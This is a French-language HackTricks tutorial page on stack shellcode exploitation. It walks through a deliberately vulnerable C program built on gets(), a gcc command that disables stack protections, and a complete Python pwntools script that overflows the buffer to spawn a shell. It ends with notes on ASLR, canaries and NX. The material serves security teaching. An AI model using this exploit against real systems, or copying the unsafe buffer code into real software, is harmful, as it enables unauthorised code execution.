Stack Shellcode

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Stack shellcode est une technique utilisée dans binary exploitation où un attaquant écrit du shellcode dans la pile d'un programme vulnérable, puis modifie le Instruction Pointer (IP) ou Extended Instruction Pointer (EIP) pour pointer vers l'emplacement de ce shellcode, provoquant son exécution. C'est une méthode classique utilisée pour obtenir un accès non autorisé ou exécuter des commandes arbitraires sur un système cible. Voici un aperçu du processus, y compris un exemple simple en C et comment vous pourriez écrire un exploit correspondant en utilisant Python avec pwntools.

Exemple C : Un programme vulnérable

Commençons par un exemple simple d'un programme C vulnérable :

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ce programme est vulnérable à un dépassement de tampon en raison de l'utilisation de la fonction gets().

Compilation

Pour compiler ce programme tout en désactivant diverses protections (pour simuler un environnement vulnérable), vous pouvez utiliser la commande suivante :

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Désactive la protection de la pile.
  • -z execstack: Rend la pile exécutable, ce qui est nécessaire pour exécuter le shellcode stocké sur la pile.
  • -no-pie: Désactive l'exécutable indépendant de la position, ce qui facilite la prévision de l'adresse mémoire où notre shellcode sera situé.
  • -m32: Compile le programme en tant qu'exécutable 32 bits, souvent utilisé pour la simplicité dans le développement d'exploits.

Python Exploit using Pwntools

Voici comment vous pourriez écrire un exploit en Python en utilisant pwntools pour effectuer une attaque ret2shellcode :

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ce script construit un payload composé d'un NOP slide, du shellcode, puis écrase le EIP avec l'adresse pointant vers le NOP slide, garantissant que le shellcode soit exécuté.

Le NOP slide (asm('nop')) est utilisé pour augmenter la chance que l'exécution "glisse" vers notre shellcode, peu importe l'adresse exacte. Ajustez l'argument p32() à l'adresse de départ de votre buffer plus un décalage pour atterrir dans le NOP slide.

Protections

  • ASLR doit être désactivé pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée.
  • Stack Canaries doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
  • La protection stack NX empêcherait l'exécution du shellcode à l'intérieur de la pile car cette région ne serait pas exécutable.

Autres Exemples & Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks